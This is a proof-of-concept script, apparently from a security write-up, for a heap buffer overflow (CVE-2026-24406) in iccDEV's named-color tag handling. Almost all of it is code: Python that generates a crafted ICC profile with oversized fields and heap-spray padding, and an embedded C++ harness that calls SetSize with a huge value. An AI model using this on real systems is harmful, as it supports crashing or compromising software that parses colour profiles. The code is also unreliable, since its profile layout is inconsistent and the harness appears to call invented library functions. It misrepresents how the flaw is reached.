CVE-2026-24406 iccDEV CIccTagNamedColor2堆缓冲区溢出漏洞

''' CVE-2026-24406 PoC - iccDEV CIccTagNamedColor2 Heap Buffer Overflow This PoC demonstrates the heap buffer overflow vulnerability in CIccTagNamedColor2::SetSize() Author: Security Research Reference: https://github.com/InternationalColorConsortium/iccDEV/commit/90c71cba2c563b1f5dc84197f827540d1baaea67 ''' import struct import os def create_malicious_icc_profile(): """ Create a malicious ICC profile that triggers heap buffer overflow in CIccTagNamedColor2::SetSize() function """ # ICC Profile Header (128 bytes) header = bytearray(128) header[0:4] = b'iccp' # Profile signature struct.pack_into('>I', header, 0, 0x61636370) # 'accp' - profile size placeholder # Tag table with CIccTagNamedColor2 # Tag signature for 'ncl2' (NamedColor2) tag_signature = b'ncl2' tag_offset = 128 + 4 + 12 # After header and tag count tag_size = 0xFFFFFFFF # Malicious oversized size to trigger overflow # Build tag table tag_count = struct.pack('>I', 1) tag_entry = tag_signature + struct.pack('>I', tag_offset) + struct.pack('>I', tag_size) # Malicious CIccTagNamedColor2 data # Crafted data that causes heap overflow when SetSize() processes it malicious_data = bytearray() malicious_data += b'ncl2' # Type signature malicious_data += struct.pack('>I', 0) # Reserved malicious_data += struct.pack('>I', 0x7FFFFFFF) # Count - oversized malicious_data += b'A' * 16 # Vendor flag malicious_data += b'B' * 32 # Profile description # Fill with controllable data for heap exploitation malicious_data += b'\x41' * 1024 # Padding for overflow # Assemble the profile icc_profile = bytearray() icc_profile += header icc_profile += tag_count icc_profile += tag_entry icc_profile += malicious_data # Update profile size in header struct.pack_into('>I', icc_profile, 0, len(icc_profile)) return bytes(icc_profile) def create_poc_source(): """ Generate C/C++ PoC code that triggers the vulnerability """ poc_code = ''' #include <cstdio> #include <cstdlib> #include <cstring> #include "icc.h" // PoC for CVE-2026-24406 - Heap Buffer Overflow in CIccTagNamedColor2::SetSize() // Vulnerable versions: iccDEV <= 2.3.1.1 // Fixed in version: 2.3.1.2 int main(int argc, char* argv[]) { if (argc < 2) { printf("Usage: %s <malicious_icc_file>\n", argv[0]); return 1; } printf("[*] Loading ICC profile: %s\n", argv[1]); printf("[*] CVE-2026-24406 PoC - Heap Buffer Overflow in CIccTagNamedColor2::SetSize()\n"); // Load the malicious ICC profile CIccFile *pFile = new CIccFile(); if (!pFile->Load(argv[1])) { printf("[-] Failed to load ICC profile\n"); delete pFile; return 1; } // Parse the profile - this triggers CIccTagNamedColor2::SetSize() CIccProfile *pProfile = new CIccProfile(); if (!pFile->Parse(pProfile)) { printf("[-] Failed to parse ICC profile\n"); delete pProfile; delete pFile; return 1; } // Access CIccTagNamedColor2 tag which triggers SetSize() CIccTag *pTag = pProfile->FindTag("ncl2"); if (pTag) { printf("[+] Found ncl2 tag - triggering SetSize()\n"); // Cast to CIccTagNamedColor2 and call SetSize with controlled input CIccTagNamedColor2 *pNamedColor = dynamic_cast<CIccTagNamedColor2*>(pTag); if (pNamedColor) { // This call with malicious size triggers heap buffer overflow pNamedColor->SetSize(0x7FFFFFFF); // Oversized value printf("[!] Heap buffer overflow triggered!\n"); } } delete pProfile; delete pFile; printf("[*] Done\n"); return 0; } ''' return poc_code def main(): print("[*] Generating CVE-2026-24406 PoC artifacts") # Generate malicious ICC profile malicious_icc = create_malicious_icc_profile() with open('CVE-2026-24406_malicious.icc', 'wb') as f: f.write(malicious_icc) print("[+] Created malicious ICC profile: CVE-2026-24406_malicious.icc") # Generate C/C++ PoC source poc_source = create_poc_source() with open('CVE-2026-24406_poc.cpp', 'w') as f: f.write(poc_source) print("[+] Created PoC source: CVE-2026-24406_poc.cpp") print("\n[*] PoC Generation Complete") print("[*] Impact: DoS, Data Manipulation, Code Execution") print("[*] Fix: Upgrade to iccDEV >= 2.3.1.2") if __name__ == '__main__': main()